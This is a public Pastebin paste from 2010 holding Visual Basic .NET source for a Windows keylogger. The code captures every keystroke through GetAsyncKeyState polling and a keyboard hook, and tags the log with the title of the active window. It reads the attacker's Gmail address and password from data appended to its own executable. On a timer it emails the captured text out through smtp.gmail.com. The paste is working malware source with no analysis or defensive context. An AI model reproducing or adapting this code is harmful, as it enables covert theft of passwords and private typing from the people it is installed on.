Share Pastebin
Guest
Public paste!

form1

By: a guest | Mar 19th, 2010 | Syntax: None | Size: 2.93 KB | Hits: 77 | Expires: Never
Copy text to clipboard
  1. Imports System.IO
  2. Imports System.Net.Mail
  3.  
  4. Public Class Form1
  5.     Dim options(), text1, text2 As String
  6.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  7.     Dim result As Integer
  8.     Const FileSplit = "@keylogger@"
  9.  
  10.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  11.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  12.     Dim strin As String = Nothing
  13.  
  14.     Private WithEvents kbHook As New KeyboardHook
  15.  
  16.     Private Function GetActiveWindowTitle() As String
  17.         Dim MyStr As String
  18.         MyStr = New String(Chr(0), 100)
  19.         GetWindowText(GetForegroundWindow, MyStr, 100)
  20.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  21.         Return MyStr
  22.     End Function
  23.  
  24.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  25.         Dim MailSetup As New MailMessage
  26.         MailSetup.Subject = My.Computer.Name & ":"
  27.         MailSetup.To.Add(TextBox2.Text)
  28.         MailSetup.From = New MailAddress(TextBox2.Text)
  29.         MailSetup.Body = TextBox1.Text
  30.         Dim SMTP As New SmtpClient("smtp.gmail.com")
  31.         SMTP.Port = 587
  32.         SMTP.EnableSsl = True
  33.         SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
  34.         SMTP.Send(MailSetup)
  35.         TextBox1.Clear()
  36.     End Sub
  37.  
  38.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  39.         If strin <> GetActiveWindowTitle() Then
  40.             TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
  41.             strin = GetActiveWindowTitle()
  42.         End If
  43.     End Sub
  44.  
  45.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  46.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  47.         text1 = Space(LOF(1))
  48.         text2 = Space(LOF(1))
  49.         FileGet(1, text1)
  50.         FileGet(1, text2)
  51.         FileClose(1)
  52.         options = Split(text1, FileSplit)
  53.         TextBox2.Text = options(1)
  54.         TextBox3.Text = options(2)
  55.         Timer1.Start()
  56.         Timer2.Start()
  57.     End Sub
  58.  
  59.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  60.         For i = 1 To 255
  61.             result = 0
  62.             result = GetAsyncKeyState(i)
  63.             If result = -32767 Then
  64.                 TextBox1.Text = TextBox1.Text + Chr(i)
  65.             End If
  66.         Next i
  67.     End Sub
  68.  
  69.     Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
  70.         TextBox1.AppendText(Key.ToString)
  71.     End Sub
  72.  
  73.     Private Sub kbHook_KeyUp(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyUp
  74.         TextBox1.AppendText(Key)
  75.     End Sub
  76. End Class